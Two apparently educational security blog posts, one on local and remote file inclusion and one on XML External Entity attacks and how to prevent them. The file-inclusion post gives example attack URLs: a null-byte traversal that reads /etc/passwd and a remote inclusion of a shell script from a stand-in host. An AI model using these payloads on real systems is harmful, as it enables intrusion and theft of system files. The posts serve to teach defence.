There are two types of File Inclusion Vulnerabilities: Local File Inclusion (LFI) and Remote File Inclusion (RFI).

These inclusion vulnerabilities are very similar to Directory Traversal attack. I will explain more regarding the differences in the section below.

To perform this attack, the attacker needs to target an application with file saving logic and logic for retrieving files in UI. The logic for saving the file is crucial because that can be a way to access the target server files and then include it in the script from your machine. In theory, the logic for retrieving the file in UI is not crucial to perform this attack. Still, it is very important because the attacker can intercept the request, investigate, and check which information can be helpful for him to perform the attack. 

We will manipulate the parameter in URL, as we did before in one of the articles when explaining the Directory Traversal attack. 

LFI loads local files such as “etc/passwd,” but then, on the flip side, RFI can load from an external source outside the server.

*Why will you always find examples of these attacks using this plain text file “passwd”?

This file is handy cause it contains information such as the list of registered users (id, group id, home directory, etc.) And it can be accessed because it has read permission with the ability to map user ids to users’ names.

Difference between Directory Traversal and File Inclusion Vulnerabilities

In the Directory Traversal article, I gave simple examples of this attack and some prevention tricks you can use with JS, Angular, or C# libraries.

File Inclusion and Directory Traversal look very similar, but they have one huge difference: the possibility of executing files within the attack.

File inclusion vulnerabilities allow you to load and execute a file in the application. On the other hand, performing a directory traversal attack file is just reading the files.

I will give an example after in the text, but here I am just going to explain one case scenario so you can better understand:

In the application, we can browse to the file and save it. After investigating the GET request when returning the file, we see that the URL will be changed because it would contain the name of the file in it. That means we can manipulate the name and save it as a file path to a specific target file in our machine. That file can be .txt, PowerShell (.ps1), etc. The file will probably contain a script with malicious code, which will then be executed on the target server. That is an example of a Remote File Inclusion attack!

How to test if your application has File Inclusion Vulnerabilities?

It is essential to test the code while developing. In this case, the developer needs to test it by himself, not just using some of the tools I mentioned in the Directory Traversal article. Also, I think it is important to see if the attacker can access folders and files. Also, even if folders are restricted using permissions, the developer should test out if it can be easily bypassed.

Summary:

First step: While preventing this attack, you should know if your application gives you the possibility to access files (if it has file inclusion vulnerabilities)

Second step: Check if the attacker can access the file even with folder/file permissions.

Examples of Local File Inclusion

For example, we have an application that uses this input field to enter the file’s name, and by clicking on the Include button, the file will be uploaded.

When you successfully upload the file, and you preview it, the URL will change to this:

http://test.com/testController?file=test.php

The attacker starts by exploring how the code is written to understand the used logic and find information where the file is saved. 

We can start with “making a mistake” when trying to import a file because some warning or error would occur. When a warning or error occurs, that is often done by the response of an HTTP request. Each HTTP request is visible in Development Tools, and you can see the header, body, URL which hits, etc. The body is used when you send a payload; for example, this file we are trying to upload.

Then easily, you can check out the structure of the payload or what the API is expecting, so if you want to replace the structure with a malicious one, you will know how it will pass. 

*Note: You probably know that the structure of the object you are sending to API from UI needs to be the same as the object that API expects. If not, the mapping would not be successful, and you will not hit even the controller in API.

So, you first want to mistake and analyze what is returned error/warning message. 

As you can guess, we need to focus on error/warning messages.

We should try to catch all the exceptions and make them custom with some user-friendly message. With that implemented, you should avoid sending some information that would uncover sensitive information with the API. For example, which method is used, what is expected, file path, etc.

In one of the examples I found on the internet, I saw that even this message can be retrieved:

What information this warning message uncovers?

First, this is a PHP application that uses using include method. As stated on site W3Schools: “The include (or require) statement takes all the text/code/markup that exists in the specified file and copies it into the file that uses the include statement.”

This method tries copying some file with the name hi and giving it the extension “php.” File location is also visible: “/var/www/html”.

So, as you see, this warning uncovers so much information: 

• used method, so we know the logic of the application

• we need to bypass adding the extension 

• file path, so we know how many “../” we will use or how we will “walk” through the folders. You probably already guess that in this stage, we can use the Directory Traversal technique “../”.

What would the attacker use if we would like to manipulate and check out registered users in etc/passwd

http://test.com/testController?file=../../../../etc/passwd%00

%00 – null byte would be used for ignoring all characters after null byte, including extension.

If this passed successfully and passwd doesn’t have restricted permissions, the content would be readable, but if permissions are there, that is our next focus.

It is great that we didn’t forget to add permissions to files containing sensitive data, but it is very important to try to avoid permissions and see how safely we implemented them.

To test that, we could create test requests with Burp Suite or maybe use CURL, or Postman.

We should pay attention to testing credentials or cookies because sensitive data can be manipulated there.

In one of the following articles, I will cover best practices for implementing good credential and session management to avoid a problem with broken authentication. 

Examples of Remote File Inclusion

For this type of attack, we will save the file name that would be the file path to some malicious script on the attacker server.

This would be an example of a URL that targets malicious script on some domain.com site:

http://test.com/testController?file=http://domain.com/shell.php

So, this will save the path, and when the path is called, it will execute shell.php – a malicious script in which some code targets the system to extract some data. 

*Focus on validating inputs in UI, so the malicious input parameters don’t even get to the API!

Important reminder for using trusted third-party libraries for validation

If you check out the logic in libraries, you can see how to expand it to cover some specific cases for your application.

Modification can be done by creating a wrapper over the libraries class or even making some script with an extended logic.

Also, always check and upgrade the version of third-party libraries!

Conclusion

Prevention is very important to avoid these vulnerabilities, but testing is equally important.

If you are a software developer, you know that to be a good developer, you must also have developed testing skills as much as coding skills.

You should use all available tools to screen these types of vulnerabilities but remember that you should trust your knowledge the most!

Don’t forget to give the code to testers because the person writing the code can often overlook some cases. Mostly because while coding and trying to write secure code, they might assume that the attacker will attack in a certain way.

If you are a developer, the best practice is to always be familiar with new attack techniques.

In the end, secure code is the cheapest code!

#LFI #RFI #vicarius_blog

Cover photo by Kevin Ku

In this article, I will write about the XML External Entity attack. For this attack to occur, the application must have logic for parsing XML input.

This injection will happen if there is a weakly configured XML parser. A successful attack would be if the attacker would be able to view files on the application server and interact with the backend. This XXE vulnerability could be used to perform server-side request forgery (SSRF) attacks, denial of service (DoS) Billion Laughs Attack, and many more.

What are XXE types?

There is no strict classification of XXE attacks, but we can divide them into two types: in-band and out-of-band(blind).

· In-band are more common than out-of-band ones. In this case, the attacker will receive an immediate response to the XXE payload.

· Out-of-band or so-called Blind XXE, there is no immediate response. This type involves the creation of an external Document Type Definition. For this type, the XML parser also needs to make an additional request to an attacker-controlled server.

What are the cases when attacker can execute this injection?

· In old applications where the version of SOAP is less than 1.2

· Applications where users are logged in based on their sessions – SAML(single sign-on (SSO) login standard). Chances for this attack to happen in this case can be very high because SAML uses XML for identity assertions

· If there are XML inputs or XML uploads into XML documents that can be added from untrusted data and parsed by an XML processor after that.

· There is a high risk when Document Type Definitions (DTD) is enabled

When would application parse XML?

XML is often used in both: frontend and backend web development.

Examples:

The Frontend side of the application can request, for example, an XML file from API and create and present a UI form based on the data in XML. Then we can have an option to add a new field into the form and if we would like to save the changes. Afterward, the XML input would be added into the XML document.

From the backend parsing, XML would be used to transfer the data in some standard format. Also, in mobile development, Android applications use it to create layouts and store configurations.

On the OWASP site, you can find more examples of XXE attacks. Portswigger has a nicely explained example of this attack:

For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:

The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the /etc/passwd file by submitting the following XXE payload:

This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value. This causes the application’s response to include the contents of the file:

Invalid product ID:

List of preventions for XXE

• Using JSON instead of XML and avoiding serialization of sensitive data
• As I mentioned before, this attack can happen easily when the application is using SOAP < 1.2, so try to update to the higher version
• Implement XSD validation in your application (“XML Schemas”) for all XML file inputs
• Patch or upgrade all XML libraries
• Use SAST tools for checking out if there are XXE vulnerabilities.

How to prevent if you are using SAML?

SAML language is used to construct authorization statements, whose authenticity is protected by the XML digital signature applied over the statements.

Many attacks happen because of wrong assumptions made by developers; for example, the token is always properly formed XML compliant with SAML schema.

The developers can assume that SAML would have just one Assertion tag in the document (the properly formed SAML would have). With that fact, developers can validate just the first element they get when searching for elements by the tag name in the XML document.

To get list of nodes JS “getElementsByTagName” method can be used:

To xmlNodes will be assigned the list of matching elements from document with tag Name “saml:Assertion”.

As developers can assume that this is the properly formed SAML with one Assertion tag, they will get the first element and validate it after:

*As you can guess, this is not the proper way to validate the tag because the attacker can also assume that developers used this approach for the validation. In this case, the attacker can catch the first element (tag) and replace it with a malicious assertion before the original one, and it will never be detected.

With the same logic, some developers use “getElementsByTagNameNS” but the result would be the same: easily inserted malicious script in the first element.

Proper prevention would be:

· Parsing the XML document. Using structure validation based on the supplied schema. Never allow automatic download of schemas from the third party but prefer to use local trusted copies. It would also be good if it is possible to inspect schemas and perform schema hardening. This could be used to disable possible wildcard types or relaxed processing statements.

· Digital signature validation, which verifies the authenticity and integrity of the assertion embedded in the SAML document. This prevents forgery.

**Most important when writing schema is to describe the intended document’s structure precisely.

How to prevent using XSD validation?

I will explain how to create a C# solution to validate XML data.

The most important reason we want to use XSD (XML Schema Definition) validation is that we want the sender and receiver to have the same “expectations” about the content. Using schemas, we need to describe exactly the data so both parties would be clear about them.

Steps:

· Add XML file into the code

When adding XML file, you will just see xml tag:

I will add object User with properties FirstName, LastName, Address, so xml file would look like this:

· Create XML Schema for this file

You will get XML schema structure like this:

· Modify XSD

Now you can modify the file- add validations for FirstName and Address. In this case, I just show how to add validations for these fields, but they will, of course, not prevent the attack; they will just validate the length and the type of mentioned fields.

· Validate XML using XSD

What am I doing in the code?

• Getting the local path of Assembly so I can after add XML file name and XSD file name to get their full paths
• Creating schema using XmlSchemaSet and XmlSeverityType which are from System.Xml.Schema
• Using XMLReader from System.XML so I can create XDocument imported from System.Xml.Linq
• When I create document, I want to use validate method that class has and pass schema by which I will validate and the method ValidationEventHandler (I named it like that) which is throwing exception if type is error. In this method you should add all validation logic.

This is just an example on how to create XSD for XML file and which libraries you can use for the validation.

How to prevent with implementation of DTD?

We can also validate XML file using DTD. Here are some differences between XSD and DTD on site.

In this example, I am validating an XML file using a DTD file with DtdProcessing.

Steps:

• Setting the validation settings using XmlReaderSettings
• Creating the XmlReader object so I can parse the file using the method read()
• Creating ValidationEventHandler method which is throwing an exception if the type is an error. In this method, you should add all validation logic.

List of SAST testing tools

SAST testing tools will help you with static application security testing.

SAST tools can be free, commercial, and open-source tools.

A list of the most popular SAST Tools currently are:

• Veracode
• LGTM
• Checkmarx
• Klocwork
• Reshift
• SpectralOps
• HCL AppScan
• Codacy
• Insider CLI
• Argon

Why is SOAP version < 1.2 vulnerable to XXE attack and why you should use later versions?

Before version 1.2 external entities were allowed within SOAP messages.

Since version 1.2 some changes were introduced to the envelope and encoding schemas. Both schemas have been updated to be compliant with the XML Schema Recommendation.

You can see the list of recommendations which were used:

· http://www.w3.org/TR/2001/REC-xmlschema-1-20010502/

· http://www.w3.org/TR/2001/REC-xmlschema-2-20010502/

· http://www.w3.org/TR/1999/REC-xml-names-19990114

· http://www.w3.org/TR/2000/REC-xml-20001006

· http://www.w3.org/TR/2000/PR-xlink-20001220/

Also, additional changes occurred in this version, within the names of datatypes in the XML Schema specification, and some datatypes were removed. If you want check out all changes which were made you can go to this site.

Conclusion

This article presented some prevention steps that could help you defend your application from XXE attack.

The OWASP team, which is constantly working to discover new ways the attackers can exploit your application and perform their malicious actions, are always updating their Prevention Cheat Sheet.

The best way to secure your application would be to always be up to date with the new prevention ways: best libraries to use, best detection tools, etc.

In the end, secure code is the cheapest code!    

Cover photo by Joshua Woroniecki

#XXE_attack #XSD #DTD #SAML #vicarius_blog